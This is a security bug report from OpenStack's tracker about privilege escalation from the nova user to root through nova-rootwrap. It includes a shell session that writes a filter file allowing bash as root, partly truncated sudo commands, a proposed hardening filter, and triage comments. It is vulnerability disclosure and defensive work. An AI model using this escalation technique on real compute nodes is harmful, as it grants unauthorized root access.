Possible privilege escalation with nova-rootwrap
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
OpenStack Compute (nova) |
New
|
Undecided
|
Unassigned | ||
OpenStack Security Advisory |
Won't Fix
|
Undecided
|
Unassigned |
Bug Description
This issue is being treated as a potential security risk under
embargo. Please do not make any public mention of embargoed
(private) security vulnerabilities before their coordinated
publication by the OpenStack Vulnerability Management Team in the
form of an official OpenStack Security Advisory. This includes
discussion of the bug or associated fixes in public forums such as
mailing lists, code review systems and bug trackers. Please also
avoid private disclosure to other individuals not already approved
for access to this information, and provide this same reminder to
those who are made aware of the issue prior to publication. All
discussion should remain confined to this private bug report, and
any proposed fixes should be added to the bug as attachments. This
embargo shall not extend past 2023-08-29 and will be made
public by or on that date even if no fix is identified.
Default nova-rootwrap configuration (up to Stein) allows easy privilege escalation from user nova.
Description:
If attacker gains nova ssh key (for example from some backup), then can log into nova account on compute node via ssh and easly escalate privileges to root:
[nova@compute ~]$ whoami
nova
[nova@compute ~]$ echo -e '[Filters]\nbash: CommandFilter, bash, root' > compute.filters
[nova@compute ~]$ cat compute.filters
[Filters]
bash: CommandFilter, bash, root
[nova@compute ~]$
[nova@compute ~]$ sudo /usr/bin/
[nova@compute ~]$
[nova@compute ~]$ sudo /usr/bin/
root@compute:~#
root@compute:~# whoami
root
Similar bug was reported some time ago: https:/
Possible solution:
As number of 'write' commands executed as root is low, and used only in few places in code, some limitations could be added. Simple example for command 'cp', with '/var/lib/nova/' as state_path:
cp: RegExpFilter, cp, root, cp, /var/lib/nova/.*, /var/lib/nova/.*
description: | updated |
Changed in ossa: | |
status: | New → Incomplete |
Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.
I'm pretty sure this will end up being a security hardening opportunity, since it was a primary driver for the ongoing effort to replace rootwrap use with privsep, but also because at present there are similar known risks with the existing privsep rules (see bug 1989008 for details). Nevertheless, I'll wait for the Nova security reviewers to confirm before switching this report to public.
Also, you say "up to Stein" but the oldest OpenStack version still under normal maintenance is Xena. If it doesn't affect stable/xena or newer branches, we aren't going to issue a security advisory since there will be no new point releases containing the fix anyway.